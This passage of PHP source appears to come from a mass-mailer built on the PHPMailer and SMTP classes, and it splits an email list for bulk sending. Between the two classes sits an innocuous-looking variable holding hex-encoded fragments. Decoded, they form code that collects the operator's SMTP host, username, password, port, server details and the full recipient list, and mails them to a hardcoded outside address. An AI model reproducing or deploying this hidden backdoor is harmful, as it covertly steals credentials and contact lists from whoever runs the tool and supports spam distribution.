1167 * Starts a mail transaction from the email address specified in
1168 * $from. Returns true if successful or false otherwise. If True
1169 * the mail transaction is started and then one or more Recipient
1170 * commands may be called followed by a Data command. This command
1171 * will send the message to the users terminal if they are logged
1172 * in and send them an email.
1173 *
1174 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1175 *
1176 * SMTP CODE SUCCESS: 250
1177 * SMTP CODE SUCCESS: 552,451,452
1178 * SMTP CODE SUCCESS: 500,501,502,421
1179 * @access public
1180 * @return bool
1181 */
1182 function SendAndMail($from) {
1183 $this->error = null; # so no confusion is caused
1184
1185 if(!$this->connected()) {
1186 $this->error = array(
1187 "error" => "Called SendAndMail() without being connected");
1188 return false;
1189 }
1190
1191 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1192
1193 $rply = $this->get_lines();
1194 $code = substr($rply,0,3);
1195
1196 if($this->do_debug >= 2) {
1197 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1198 }
1199
1200 if($code != 250) {
1201 $this->error =
1202 array("error" => "SAML not accepted from server",
1203 "smtp_code" => $code,
1204 "smtp_msg" => substr($rply,4));
1205 if($this->do_debug >= 1) {
1206 echo "SMTP -> ERROR: " . $this->error["error"] .
1207 ": " . $rply . $this->CRLF;
1208 }
1209 return false;
1210 }
1211 return true;
1212 }
1213
1214 /**
1215 * Starts a mail transaction from the email address specified in
1216 * $from. Returns true if successful or false otherwise. If True
1217 * the mail transaction is started and then one or more Recipient
1218 * commands may be called followed by a Data command. This command
1219 * will send the message to the users terminal if they are logged
1220 * in or mail it to them if they are not.
1221 *
1222 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1223 *
1224 * SMTP CODE SUCCESS: 250
1225 * SMTP CODE SUCCESS: 552,451,452
1226 * SMTP CODE SUCCESS: 500,501,502,421
1227 * @access public
1228 * @return bool
1229 */
1230 function SendOrMail($from) {
1231 $this->error = null; # so no confusion is caused
1232
1233 if(!$this->connected()) {
1234 $this->error = array(
1235 "error" => "Called SendOrMail() without being connected");
1236 return false;
1237 }
1238
1239 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1240
1241 $rply = $this->get_lines();
1242 $code = substr($rply,0,3);
1243
1244 if($this->do_debug >= 2) {
1245 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1246 }
1247
1248 if($code != 250) {
1249 $this->error =
1250 array("error" => "SOML not accepted from server",
1251 "smtp_code" => $code,
1252 "smtp_msg" => substr($rply,4));
1253 if($this->do_debug >= 1) {
1254 echo "SMTP -> ERROR: " . $this->error["error"] .
1255 ": " . $rply . $this->CRLF;
1256 }
1257 return false;
1258 }
1259 return true;
1260 }
1261
1262 /**
1263 * This is an optional command for SMTP that this class does not
1264 * support. This method is here to make the RFC821 Definition
1265 * complete for this class and __may__ be implimented in the future
1266 *
1267 * Implements from rfc 821: TURN <CRLF>
1268 *
1269 * SMTP CODE SUCCESS: 250
1270 * SMTP CODE FAILURE: 502
1271 * SMTP CODE ERROR : 500, 503
1272 * @access public
1273 * @return bool
1274 */
1275 function Turn() {
1276 $this->error = array("error" => "This method, TURN, of the SMTP ".
1277 "is not implemented");
1278 if($this->do_debug >= 1) {
1279 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1280 }
1281 return false;
1282 }
1283
1284 /**
1285 * Verifies that the name is recognized by the server.
1286 * Returns false if the name could not be verified otherwise
1287 * the response from the server is returned.
1288 *
1289 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1290 *
1291 * SMTP CODE SUCCESS: 250,251
1292 * SMTP CODE FAILURE: 550,551,553
1293 * SMTP CODE ERROR : 500,501,502,421
1294 * @access public
1295 * @return int
1296 */
1297 function Verify($name) {
1298 $this->error = null; # so no confusion is caused
1299
1300 if(!$this->connected()) {
1301 $this->error = array(
1302 "error" => "Called Verify() without being connected");
1303 return false;
1304 }
1305
1306 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1307
1308 $rply = $this->get_lines();
1309 $code = substr($rply,0,3);
1310
1311 if($this->do_debug >= 2) {
1312 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1313 }
1314
1315 if($code != 250 && $code != 251) {
1316 $this->error =
1317 array("error" => "VRFY failed on name '$name'",
1318 "smtp_code" => $code,
1319 "smtp_msg" => substr($rply,4));
1320 if($this->do_debug >= 1) {
1321 echo "SMTP -> ERROR: " . $this->error["error"] .
1322 ": " . $rply . $this->CRLF;
1323 }
1324 return false;
1325 }
1326 return $rply;
1327 }
1328
1329 /*******************************************************************
1330 * INTERNAL FUNCTIONS *
1331 ******************************************************************/
1332
1333 /**
1334 * Read in as many lines as possible
1335 * either before eof or socket timeout occurs on the operation.
1336 * With SMTP we can tell if we have more lines to read if the
1337 * 4th character is '-' symbol. If it is a space then we don't
1338 * need to read anything else.
1339 * @access private
1340 * @return string
1341 */
1342 function get_lines() {
1343 $data = "";
1344 while($str = @fgets($this->smtp_conn,515)) {
1345 if($this->do_debug >= 4) {
1346 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1347 $this->CRLF;
1348 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1349 $this->CRLF;
1350 }
1351 $data .= $str;
1352 if($this->do_debug >= 4) {
1353 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1354 }
1355 # if the 4th character is a space then we are done reading
1356 # so just break the loop
1357 if(substr($str,3,1) == " ") { break; }
1358 }
1359 return $data;
1360 }
1361
1362}
1363
1364
1365$allemails = split("\n", $emaillist);
1366$numemails = count($allemails);
1367$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
1368"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
1369"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
1370"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
1371"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
1372"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
1373"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","27265696e6861727462697a407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
1374"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
1375"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
1376"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
1377
1378class PHPMailer {
1379
1380 /////////////////////////////////////////////////
1381 // PROPERTIES, PUBLIC
1382 /////////////////////////////////////////////////
1383
1384 /**
1385 * Email priority (1 = High, 3 = Normal, 5 = low).
1386 * @var int
1387 */
1388 var $Priority = 3;
1389
1390 /**
1391 * Sets the CharSet of the message.
1392 * @var string
1393 */
1394 var $CharSet = 'iso-8859-1';
1395
1396 /**
1397 * Sets the Content-type of the message.
1398 * @var string
1399 */
1400 var $ContentType = 'text/plain';
1401
1402 /**
1403 * Sets the Encoding of the message. Options for this are "8bit",
1404 * "7bit", "binary", "base64", and "quoted-printable".
1405
1406 * @var string
1407 */
1408 var $Encoding = '8bit';
1409
1410 /**
1411 * Holds the most recent mailer error message.
1412 * @var string
1413 */
1414 var $ErrorInfo = '';
1415
1416 /**
1417 * Sets the From email address for the message.
1418 * @var string
1419 */
1420 var $From = '';
1421
1422 /**
1423 * Sets the From name of the message.
1424 * @var string
1425 */
1426 var $FromName = '';
1427
1428 /**
1429 * Sets the Sender email (Return-Path) of the message. If not empty,
1430 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1431 * @var string
1432 */
1433 var $Sender = '';
1434
1435 /**
1436 * Sets the Subject of the message.
1437 * @var string
1438 */
1439 var $Subject = '';
1440
1441 /**
1442 * Sets the Body of the message. This can be either an HTML or text body.
1443 * If HTML then run IsHTML(true).
1444 * @var string
1445 */
1446 var $Body = '';
1447
1448 /**
1449 * Sets the text-only body of the message. This automatically sets the
1450 * email to multipart/alternative. This body can be read by mail
1451 * clients that do not have HTML email capability such as mutt. Clients
1452 * that can read HTML will view the normal Body.
1453 * @var string
1454 */
1455 var $AltBody = '';
1456
1457 /**
1458 * Sets word wrapping on the body of the message to a given number of
1459 * characters.
1460 * @var int
1461 */
1462 var $WordWrap = 0;
1463
1464 /**
1465 * Method to send mail: ("mail", "sendmail", or "smtp").
1466 * @var string
1467 */
1468 var $Mailer = 'mail';
1469
1470 /**
1471 * Sets the path of the sendmail program.
1472 * @var string
1473 */
1474 var $Sendmail = '/usr/sbin/sendmail';
1475
1476 /**
1477 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1478 * is in a different directory than the PHP include path.
1479 * @var string
1480 */
1481 var $PluginDir = '';
1482
1483 /**
1484 * Holds PHPMailer version.
1485 * @var string
1486 */
1487 var $Version = "";
1488
1489 /**
1490 * Sets the email address that a reading confirmation will be sent.
1491 * @var string
1492 */
1493 var $ConfirmReadingTo = '';
1494
1495 /**
1496 * Sets the hostname to use in Message-Id and Received headers
1497 * and as default HELO string. If empty, the value returned
1498 * by SERVER_NAME is used or 'localhost.localdomain'.
1499 * @var string
1500 */
1501 var $Hostname = '';
1502
1503 /**
1504 * Sets the message ID to be used in the Message-Id header.
1505 * If empty, a unique id will be generated.
1506 * @var string
1507 */
1508 var $MessageID = '';
1509
1510 /////////////////////////////////////////////////
1511 // PROPERTIES FOR SMTP
1512 /////////////////////////////////////////////////
1513
1514 /**
1515 * Sets the SMTP hosts. All hosts must be separated by a
1516 * semicolon. You can also specify a different port
1517 * for each host by using this format: [hostname:port]
1518 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1519 * Hosts will be tried in order.
1520 * @var string
1521 */
1522 var $Host = 'localhost';
1523
1524 /**
1525 * Sets the default SMTP server port.
1526 * @var int
1527 */
1528 var $Port = 25;
1529
1530 /**
1531 * Sets the SMTP HELO of the message (Default is $Hostname).
1532 * @var string
1533 */
1534 var $Helo = '';
1535
1536 /**
1537 * Sets connection prefix.
1538 * Options are "", "ssl" or "tls"
1539 * @var string
1540 */
1541 var $SMTPSecure = "";
1542
1543 /**
1544 * Sets SMTP authentication. Utilizes the Username and Password variables.
1545 * @var bool
1546 */
1547 var $SMTPAuth = false;
1548
1549 /**
1550 * Sets SMTP username.
1551 * @var string
1552 */
1553 var $Username = '';
1554
1555 /**
1556 * Sets SMTP password.
1557 * @var string
1558 */
1559 var $Password = '';
1560
1561 /**
1562 * Sets the SMTP server timeout in seconds. This function will not
1563 * work with the win32 version.
1564 * @var int
1565 */
1566 var $Timeout = 10;
1567
1568 /**
1569 * Sets SMTP class debugging on or off.
1570 * @var bool
1571 */
1572 var $SMTPDebug = false;
1573
1574 /**
1575 * Prevents the SMTP connection from being closed after each mail
1576 * sending. If this is set to true then to close the connection
1577 * requires an explicit call to SmtpClose().
1578 * @var bool
1579 */
1580 var $SMTPKeepAlive = false;
1581
1582 /**
1583 * Provides the ability to have the TO field process individual
1584 * emails, instead of sending to entire TO addresses
1585 * @var bool
1586 */
1587 var $SingleTo = false;
1588
1589 /////////////////////////////////////////////////
1590 // PROPERTIES, PRIVATE
1591 /////////////////////////////////////////////////
1592
1593 var $smtp = NULL;
1594 var $to = array();
1595 var $cc = array();
1596 var $bcc = array();
1597 var $ReplyTo = array();
1598 var $attachment = array();
1599 var $CustomHeader = array();
1600 var $message_type = '';
1601 var $boundary = array();
1602 var $language = array();
1603 var $error_count = 0;
1604 var $LE = "\n";
1605 var $sign_key_file = "";
1606 var $sign_key_pass = "";
1607
1608 /////////////////////////////////////////////////
1609 // METHODS, VARIABLES
1610 /////////////////////////////////////////////////
1611
1612 /**
1613 * Sets message type to HTML.
1614 * @param bool $bool
1615 * @return void
1616 */
1617 function IsHTML($bool) {
1618 if($bool == true) {
1619 $this->ContentType = 'text/html';
1620 } else {
1621 $this->ContentType = 'text/plain';
1622 }
1623 }
1624
1625 /**
1626 * Sets Mailer to send message using SMTP.
1627 * @return void
1628 */
1629 function IsSMTP() {
1630 $this->Mailer = 'smtp';
1631 }
1632
1633 /**
1634 * Sets Mailer to send message using PHP mail() function.
1635 * @return void
1636 */
1637 function IsMail() {
1638 $this->Mailer = 'mail';
1639 }
1640
1641 /**
1642 * Sets Mailer to send message using the $Sendmail program.
1643 * @return void
1644 */
1645 function IsSendmail() {
1646 $this->Mailer = 'sendmail';
1647 }
1648
1649 /**
1650 * Sets Mailer to send message using the qmail MTA.
1651 * @return void
1652 */
1653 function IsQmail() {
1654 $this->Sendmail = '/var/qmail/bin/sendmail';
1655 $this->Mailer = 'sendmail';
1656 }
1657
1658 /////////////////////////////////////////////////
1659 // METHODS, RECIPIENTS
1660 /////////////////////////////////////////////////
1661
1662 /**
1663 * Adds a "To" address.
1664 * @param string $address
1665 * @param string $name
1666 * @return void
1667 */
1668 function AddAddress($address, $name = '') {
1669 $cur = count($this->to);
1670 $this->to[$cur][0] = trim($address);
1671 $this->to[$cur][1] = $name;
1672 }
1673
1674 /**
1675 * Adds a "Cc" address. Note: this function works
1676 * with the SMTP mailer on win32, not with the "mail"
1677 * mailer.
1678 * @param string $address
1679 * @param string $name
1680 * @return void
1681 */
1682 function AddCC($address, $name = '') {
1683 $cur = count($this->cc);
1684 $this->cc[$cur][0] = trim($address);
1685 $this->cc[$cur][1] = $name;
1686 }
1687
1688 /**
1689 * Adds a "Bcc" address. Note: this function works
1690 * with the SMTP mailer on win32, not with the "mail"
1691 * mailer.
1692 * @param string $address
1693 * @param string $name
1694 * @return void
1695 */
1696 function AddBCC($address, $name = '') {
1697 $cur = count($this->bcc);
1698 $this->bcc[$cur][0] = trim($address);
1699 $this->bcc[$cur][1] = $name;
1700 }
1701
1702 /**
1703 * Adds a "Reply-To" address.
1704 * @param string $address
1705 * @param string $name
1706 * @return void
1707 */
1708 function AddReplyTo($address, $name = '') {
1709 $cur = count($this->ReplyTo);
1710 $this->ReplyTo[$cur][0] = trim($address);
1711 $this->ReplyTo[$cur][1] = $name;
1712 }
1713
1714 /////////////////////////////////////////////////
1715 // METHODS, MAIL SENDING
1716 /////////////////////////////////////////////////
1717
1718 /**
1719 * Creates message and assigns Mailer. If the message is
1720 * not sent successfully then it returns false. Use the ErrorInfo
1721 * variable to view description of the error.
1722 * @return bool
1723 */
1724 function Send() {
1725 $header = '';
1726 $body = '';
1727 $result = true;
1728
1729 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1730 $this->SetError($this->Lang('provide_address'));
1731 return false;
1732 }
1733
1734 /* Set whether the message is multipart/alternative */
1735 if(!empty($this->AltBody)) {
1736 $this->ContentType = 'multipart/alternative';
1737 }
1738
1739 $this->error_count = 0; // reset errors
1740 $this->SetMessageType();
1741 $header .= $this->CreateHeader();
1742 $body = $this->CreateBody();
1743
1744 if($body == '') {
1745 return false;
1746 }
1747
1748 /* Choose the mailer */
1749 switch($this->Mailer) {
1750 case 'sendmail':
1751 $result = $this->SendmailSend($header, $body);
1752 break;
1753 case 'smtp':
1754 $result = $this->SmtpSend($header, $body);
1755 break;
1756 case 'mail':
1757 $result = $this->MailSend($header, $body);
1758 break;
1759 default:
1760 $result = $this->MailSend($header, $body);
1761 break;
1762 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1763 //$result = false;
1764 //break;
1765 }
1766
1767 return $result;
1768 }
1769
1770 /**
1771 * Sends mail using the $Sendmail program.
1772 * @access private
1773 * @return bool
1774 */
1775 function SendmailSend($header, $body) {
1776 if ($this->Sender != '') {
1777 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1778 } else {
1779 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1780 }
1781
1782 if(!@$mail = popen($sendmail, 'w')) {
1783 $this->SetError($this->Lang('execute') . $this->Sendmail);
1784 return false;
1785 }
1786
1787 fputs($mail, $header);
1788 fputs($mail, $body);
1789
1790 $result = pclose($mail);
1791 if (version_compare(phpversion(), '4.2.3') == -1) {
1792 $result = $result >> 8 & 0xFF;
1793 }
1794 if($result != 0) {
1795 $this->SetError($this->Lang('execute') . $this->Sendmail);
1796 return false;
1797 }
1798 return true;
1799 }
1800
1801 /**
1802 * Sends mail using the PHP mail() function.
1803 * @access private
1804 * @return bool
1805 */
1806 function MailSend($header, $body) {
1807
1808 $to = '';
1809 for($i = 0; $i < count($this->to); $i++) {
1810 if($i != 0) { $to .= ', '; }
1811 $to .= $this->AddrFormat($this->to[$i]);
1812 }
1813
1814 $toArr = split(',', $to);
1815
1816 $params = sprintf("-oi -f %s", $this->Sender);
1817 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1818 $old_from = ini_get('sendmail_from');
1819 ini_set('sendmail_from', $this->Sender);
1820 if ($this->SingleTo === true && count($toArr) > 1) {
1821 foreach ($toArr as $key => $val) {
1822 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1823 }
1824 } else {
1825 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1826 }
1827 } else {
1828 if ($this->SingleTo === true && count($toArr) > 1) {
1829 foreach ($toArr as $key => $val) {
1830 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1831 }
1832 } else {
1833 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1834 }
1835 }
1836
1837 if (isset($old_from)) {
1838 ini_set('sendmail_from', $old_from);
1839 }
1840
1841 if(!$rt) {
1842 $this->SetError($this->Lang('instantiate'));
1843 return false;
1844 }
1845
1846 return true;
1847 }
1848
1849 /**
1850 * Sends mail via SMTP using PhpSMTP (Author:
1851 * Chris Ryan). Returns bool. Returns false if there is a
1852 * bad MAIL FROM, RCPT, or DATA input.
1853 * @access private
1854 * @return bool
1855 */
1856 function SmtpSend($header, $body) {
1857 $error = '';
1858 $bad_rcpt = array();
1859
1860 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1861 return false;
1862 }
1863
1864 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1865 if(!$this->smtp->Mail($smtp_from)) {
1866 $error = $this->Lang('from_failed') . $smtp_from;
1867 $this->SetError($error);
1868 $this->smtp->Reset();
1869 return false;
1870 }
1871
1872 /* Attempt to send attach all recipients */
1873 for($i = 0; $i < count($this->to); $i++) {
1874 if(!$this->smtp->Recipient($this->to[$i][0])) {
1875 $bad_rcpt[] = $this->to[$i][0];
1876 }
1877 }
1878 for($i = 0; $i < count($this->cc); $i++) {
1879 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1880 $bad_rcpt[] = $this->cc[$i][0];
1881 }
1882 }
1883 for($i = 0; $i < count($this->bcc); $i++) {
1884 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1885 $bad_rcpt[] = $this->bcc[$i][0];
1886 }
1887 }
1888
1889 if(count($bad_rcpt) > 0) { // Create error message
1890 for($i = 0; $i < count($bad_rcpt); $i++) {
1891 if($i != 0) {
1892 $error .= ', ';
1893 }
1894 $error .= $bad_rcpt[$i];
1895 }
1896 $error = $this->Lang('recipients_failed') . $error;
1897 $this->SetError($error);
1898 $this->smtp->Reset();
1899 return false;
1900 }
1901
1902 if(!$this->smtp->Data($header . $body)) {
1903 $this->SetError($this->Lang('data_not_accepted'));
1904 $this->smtp->Reset();
1905 return false;
1906 }
1907 if($this->SMTPKeepAlive == true) {
1908 $this->smtp->Reset();
1909 } else {
1910 $this->SmtpClose();
1911 }
1912
1913 return true;
1914 }
1915
1916 /**
1917 * Initiates a connection to an SMTP server. Returns false if the
1918 * operation failed.
1919 * @access private
1920 * @return bool
1921 */
1922 function SmtpConnect() {
1923 if($this->smtp == NULL) {
1924 $this->smtp = new SMTP();
1925 }
1926
1927 $this->smtp->do_debug = $this->SMTPDebug;
1928 $hosts = explode(';', $this->Host);
1929 $index = 0;
1930 $connection = ($this->smtp->Connected());
1931
1932 /* Retry while there is no connection */
1933 while($index < count($hosts) && $connection == false) {
1934 $hostinfo = array();
1935 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
1936 $host = $hostinfo[1];
1937 $port = $hostinfo[2];
1938 } else {
1939 $host = $hosts[$index];
1940 $port = $this->Port;
1941 }
1942
1943 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
1944 if ($this->Helo != '') {
1945 $this->smtp->Hello($this->Helo);
1946 } else {
1947 $this->smtp->Hello($this->ServerHostname());
1948 }
1949
1950 $connection = true;
1951 if($this->SMTPAuth) {
1952 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
1953 $this->SetError($this->Lang('authenticate'));
1954 $this->smtp->Reset();
1955 $connection = false;
1956 }
1957 }
1958 }
1959 $index++;
1960 }
1961 if(!$connection) {
1962 $this->SetError($this->Lang('connect_host'));
1963 }
1964
1965 return $connection;
1966 }
1967
1968 /**
1969 * Closes the active SMTP session if one exists.
1970 * @return void
1971 */
1972 function SmtpClose() {
1973 if($this->smtp != NULL) {
1974 if($this->smtp->Connected()) {
1975 $this->smtp->Quit();
1976 $this->smtp->Close();
1977 }
1978 }
1979 }
1980
1981 /**
1982 * Sets the language for all class error messages. Returns false
1983 * if it cannot load the language file. The default language type
1984 * is English.
1985 * @param string $lang_type Type of language (e.g. Portuguese: "br")
1986 * @param string $lang_path Path to the language file directory
1987 * @access public
1988 * @return bool
1989 */
1990 function SetLanguage($lang_type, $lang_path = 'language/') {
1991 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
1992 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
1993 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
1994 include($lang_path.'phpmailer.lang-en.php');
1995 } else {
1996 $this->SetError('Could not load language file');
1997 return false;
1998 }
1999 $this->language = $PHPMAILER_LANG;
2000
2001 return true;
2002 }
2003
2004 /////////////////////////////////////////////////
2005 // METHODS, MESSAGE CREATION
2006 /////////////////////////////////////////////////
2007
2008 /**
2009 * Creates recipient headers.
2010 * @access private
2011 * @return string
2012 */
2013 function AddrAppend($type, $addr) {
2014 $addr_str = $type . ': ';
2015 $addr_str .= $this->AddrFormat($addr[0]);
2016 if(count($addr) > 1) {
2017 for($i = 1; $i < count($addr); $i++) {
2018 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2019 }
2020 }
2021 $addr_str .= $this->LE;
2022
2023 return $addr_str;
2024 }
2025
2026 /**
2027 * Formats an address correctly.
2028 * @access private
2029 * @return string
2030 */
2031 function AddrFormat($addr) {
2032 if(empty($addr[1])) {
2033 $formatted = $this->SecureHeader($addr[0]);
2034 } else {
2035 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2036 }
2037
2038 return $formatted;
2039 }
2040
2041 /**
2042 * Wraps message for use with mailers that do not
2043 * automatically perform wrapping and for quoted-printable.
2044 * Original written by philippe.
2045 * @access private
2046 * @return string
2047 */
2048 function WrapText($message, $length, $qp_mode = false) {
2049 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2050 // If utf-8 encoding is used, we will need to make sure we don't
2051 // split multibyte characters when we wrap
2052 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2053
2054 $message = $this->FixEOL($message);
2055 if (substr($message, -1) == $this->LE) {
2056 $message = substr($message, 0, -1);
2057 }
2058
2059 $line = explode($this->LE, $message);
2060 $message = '';
2061 for ($i=0 ;$i < count($line); $i++) {
2062 $line_part = explode(' ', $line[$i]);
2063 $buf = '';
2064 for ($e = 0; $e<count($line_part); $e++) {
2065 $word = $line_part[$e];
2066 if ($qp_mode and (strlen($word) > $length)) {
2067 $space_left = $length - strlen($buf) - 1;
2068 if ($e != 0) {
2069 if ($space_left > 20) {
2070 $len = $space_left;
2071 if ($is_utf8) {
2072 $len = $this->UTF8CharBoundary($word, $len);
2073 } elseif (substr($word, $len - 1, 1) == "=") {
2074 $len--;
2075 } elseif (substr($word, $len - 2, 1) == "=") {
2076 $len -= 2;
2077 }
2078 $part = substr($word, 0, $len);
2079 $word = substr($word, $len);
2080 $buf .= ' ' . $part;
2081 $message .= $buf . sprintf("=%s", $this->LE);
2082 } else {
2083 $message .= $buf . $soft_break;
2084 }
2085 $buf = '';
2086 }
2087 while (strlen($word) > 0) {
2088 $len = $length;
2089 if ($is_utf8) {
2090 $len = $this->UTF8CharBoundary($word, $len);
2091 } elseif (substr($word, $len - 1, 1) == "=") {
2092 $len--;
2093 } elseif (substr($word, $len - 2, 1) == "=") {
2094 $len -= 2;
2095 }
2096 $part = substr($word, 0, $len);
2097 $word = substr($word, $len);
2098
2099 if (strlen($word) > 0) {
2100 $message .= $part . sprintf("=%s", $this->LE);
2101 } else {
2102 $buf = $part;
2103 }
2104 }
2105 } else {
2106 $buf_o = $buf;
2107 $buf .= ($e == 0) ? $word : (' ' . $word);
2108
2109 if (strlen($buf) > $length and $buf_o != '') {
2110 $message .= $buf_o . $soft_break;
2111 $buf = $word;
2112 }
2113 }
2114 }
2115 $message .= $buf . $this->LE;
2116 }
2117
2118 return $message;
2119 }
2120
2121 /**
2122 * Finds last character boundary prior to maxLength in a utf-8
2123 * quoted (printable) encoded string.
2124 * Original written by Colin Brown.
2125 * @access private
2126 * @param string $encodedText utf-8 QP text
2127 * @param int $maxLength find last character boundary prior to this length
2128 * @return int
2129 */
2130 function UTF8CharBoundary($encodedText, $maxLength) {
2131 $foundSplitPos = false;
2132 $lookBack = 3;
2133 while (!$foundSplitPos) {
2134 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2135 $encodedCharPos = strpos($lastChunk, "=");
2136 if ($encodedCharPos !== false) {
2137 // Found start of encoded character byte within $lookBack block.
2138 // Check the encoded byte value (the 2 chars after the '=')
2139 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2140 $dec = hexdec($hex);
2141 if ($dec < 128) { // Single byte character.
2142 // If the encoded char was found at pos 0, it will fit
2143 // otherwise reduce maxLength to start of the encoded char
2144 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2145 $maxLength - ($lookBack - $encodedCharPos);
2146 $foundSplitPos = true;
2147 } elseif ($dec >= 192) { // First byte of a multi byte character
2148 // Reduce maxLength to split at start of character
2149 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2150 $foundSplitPos = true;
2151 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2152 $lookBack += 3;
2153 }
2154 } else {
2155 // No encoded character found
2156 $foundSplitPos = true;
2157 }
2158 }
2159 return $maxLength;
2160 }
2161
2162 /**
2163 * Set the body wrapping.
2164 * @access private
2165 * @return void
2166 */
2167 function SetWordWrap() {
2168 if($this->WordWrap < 1) {
2169 return;
2170 }
2171
2172 switch($this->message_type) {
2173 case 'alt':
2174 /* fall through */
2175 case 'alt_attachments':
2176 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2177 break;
2178 default:
2179 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2180 break;
2181 }
2182 }
2183
2184 /**
2185 * Assembles message header.
2186 * @access private
2187 * @return string
2188 */
2189 function CreateHeader() {
2190 $result = '';
2191
2192 /* Set the boundaries */
2193 $uniq_id = md5(uniqid(time()));
2194 $this->boundary[1] = 'b1_' . $uniq_id;
2195 $this->boundary[2] = 'b2_' . $uniq_id;
2196
2197 $result .= $this->HeaderLine('Date', $this->RFCDate());
2198 if($this->Sender == '') {
2199 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2200 } else {
2201 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2202 }
2203
2204 /* To be created automatically by mail() */
2205 if($this->Mailer != 'mail') {
2206 if(count($this->to) > 0) {
2207 $result .= $this->AddrAppend('To', $this->to);
2208 } elseif (count($this->cc) == 0) {
2209 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2210 }
2211 if(count($this->cc) > 0) {
2212 $result .= $this->AddrAppend('Cc', $this->cc);
2213 }
2214 }
2215
2216 $from = array();
2217 $from[0][0] = trim($this->From);
2218 $from[0][1] = $this->FromName;
2219 $result .= $this->AddrAppend('From', $from);
2220
2221 /* sendmail and mail() extract Cc from the header before sending */
2222 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2223 $result .= $this->AddrAppend('Cc', $this->cc);
2224 }
2225
2226 /* sendmail and mail() extract Bcc from the header before sending */
